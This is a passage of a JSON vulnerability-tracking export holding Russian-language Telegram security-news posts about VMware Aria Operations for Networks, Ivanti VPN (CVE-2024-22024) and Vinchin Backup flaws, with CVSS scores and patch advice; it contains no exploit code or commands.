\u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e\u00a0\u043f\u044f\u0442\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445\u00a0\u0432 Aria Operations for Networks (\u0440\u0430\u043d\u0435\u0435 vRealize Network Insight). \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445:\n\n- CVE-2024-22237 (CVSS: 7,8): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0439 root-\u0434\u043e\u0441\u0442\u0443\u043f.\n\n- CVE-2024-22238 (CVSS: 6,4): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n- CVE-2024-22239 (CVSS: 5,3): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435.\n\n- CVE-2024-22240 (CVSS: 4,9): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0447\u0442\u0435\u043d\u0438\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n\n- CVE-2024-22241 (CVSS: 4,3): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u0437\u0430\u0432\u043b\u0430\u0434\u0435\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c VMware Aria Operations for Networks \u0432\u0435\u0440\u0441\u0438\u0438 6.x \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c\u00a0\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.12.0.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0432\u0441\u0435\u043c\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u043f\u044b\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 Cisco, Fortinet \u0438 VMware, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c \u0438 \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u0434\u043b\u044f \u043a\u0443\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.", "creation_timestamp": "2024-02-08T11:40:05.000000Z"}, {"uuid": "1b58bb05-9693-43da-a02a-fe0da790e125", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22239", "type": "seen", "source": "https://t.me/true_secator/5391", "content": "\u0412\u0441\u043b\u0435\u0434 \u0437\u0430 Cisco \u0438 Fortinet, \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u00ab\u0442\u0440\u043e\u0439\u043a\u0443\u00bb \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 VMware, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e\u00a0\u043f\u044f\u0442\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445\u00a0\u0432 Aria Operations for Networks (\u0440\u0430\u043d\u0435\u0435 vRealize Network Insight). \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445:\n\n- CVE-2024-22237 (CVSS: 7,8): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0439 root-\u0434\u043e\u0441\u0442\u0443\u043f.\n\n- CVE-2024-22238 (CVSS: 6,4): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n- CVE-2024-22239 (CVSS: 5,3): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435.\n\n- CVE-2024-22240 (CVSS: 4,9): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0447\u0442\u0435\u043d\u0438\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n\n- CVE-2024-22241 (CVSS: 4,3): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u0437\u0430\u0432\u043b\u0430\u0434\u0435\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c VMware Aria Operations for Networks \u0432\u0435\u0440\u0441\u0438\u0438 6.x \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c\u00a0\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.12.0.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0432\u0441\u0435\u043c\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u043f\u044b\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 Cisco, Fortinet \u0438 VMware, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c \u0438 \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u0434\u043b\u044f \u043a\u0443\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.", "creation_timestamp": "2024-02-08T11:40:05.000000Z"}, {"uuid": "50814e89-64c6-4e9d-b8ea-1ce0d2cad9cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "https://t.me/true_secator/5404", "content": "\u041d\u0430 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u043e\u0434\u043a\u0430\u0442\u0438\u043b\u0438 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 Ivanti VPN 0-day, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0437\u043d\u0430\u043c\u0435\u043d\u043e\u0432\u0430\u043b\u0438 \u043d\u0430\u0447\u0430\u043b\u043e \u043d\u043e\u0432\u043e\u0439 \u0432\u043e\u043b\u043d\u044b \u0430\u0442\u0430\u043a.\n\n\u041f\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044e \u0440\u044f\u0434\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u0430 XML (XXE), \u0432\u043b\u0438\u044f\u044e\u0449\u0430\u044f \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 VPN-\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Ivanti \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0435\u0442\u0438, \u0441\u0442\u0430\u043b\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044f \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 SAML \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0448\u043b\u044e\u0437\u043e\u0432 Ivanti Connect Secure, Policy Secure \u0438 ZTA, CVE-2024-22024 \u0441 CVSS 8,3 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u00a0\u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0434\u043b\u044f Connect Secure \u0432\u0435\u0440\u0441\u0438\u0439 9.x \u0438 22.x, Policy Secure \u0432\u0435\u0440\u0441\u0438\u0439 9.x \u0438 22.x \u0438 \u0448\u043b\u044e\u0437\u043e\u0432 ZTA \u0432\u0435\u0440\u0441\u0438\u0438 22.x.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a WatchTowr \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u043e\u0441\u043e\u0431\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u044f \u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c VPN-\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c Ivanti \u043d\u0435 \u0441\u0442\u0430\u043b\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c PoC, \u043e\u0434\u043d\u0430\u043a\u043e \u043f\u043e\u0437\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0432\u0441\u0435 \u0436\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u044b.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0441\u043e \u0441\u043b\u043e\u0432 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0414\u044d\u0432\u0438\u0434\u0430 \u0412\u043e\u0440\u0435\u043b\u0430,\u00a0\u0432\u0437\u043b\u043e\u043c \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0441\u044f \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0441\u0431\u0440\u043e\u0441 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430 \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0441\u0430\u043c\u0430 Ivanti \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e CVE-2024-22024 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u0445\u043e\u0434\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 WatchTowr.", "creation_timestamp": "2024-02-12T17:10:06.000000Z"}, {"uuid": "d9f0e716-9a8c-45aa-9189-36aaba118e09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22899", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5374", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 LeakIX \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u0441 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c Vinchin Backup & Recovery, \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e \u0438\u0442\u043e\u0433\u0430\u043c 2023 \u0432\u043e\u0448\u0435\u043b \u0432 \u0447\u0438\u0441\u043b\u043e\u00a0\u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u043c \u0440\u044b\u043d\u043a\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041d\u043e \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0440\u0430\u0441\u0442\u0443\u0449\u0443\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0438 \u043e\u0431\u0448\u0438\u0440\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b, \u0440\u0435\u0448\u0435\u043d\u0438\u044f Vinchin, \u043a\u0430\u043a \u0438 \u043f\u0440\u043e\u0447\u0438\u0435, \u043d\u0435 \u0437\u0430\u0441\u0442\u0440\u0430\u0445\u043e\u0432\u0430\u043d\u044b \u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0431\u044b\u043b \u0432\u044b\u044f\u0432\u043b\u0435\u043d \u0440\u044f\u0434 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u043e\u0442 CVE-2024-22899 \u0434\u043e CVE-2024-22903, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f RCE-\u0430\u0442\u0430\u043a.\n\n\u0414\u0432\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438: CVE-2024-22902 (\u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 SSH \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e) \u0438 CVE-2024-22901 (\u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445).\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f Vinchin \u0441 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u0431\u043b\u0435\u0433\u0447\u0430\u0435\u0442 root-\u0432\u0445\u043e\u0434 \u043f\u043e SSH, \u043f\u0440\u0438 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d.\n\n\u0420\u0438\u0441\u043a\u0438 \u0441 CVE-2024-22901 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c\u00a0\u043f\u043e\u0440\u0442\u0430 MySQL, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0438\u043c\u0435\u043d\u0438 \u0445\u043e\u0441\u0442\u0430\u00a0\u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0431\u0430\u0437\u0443 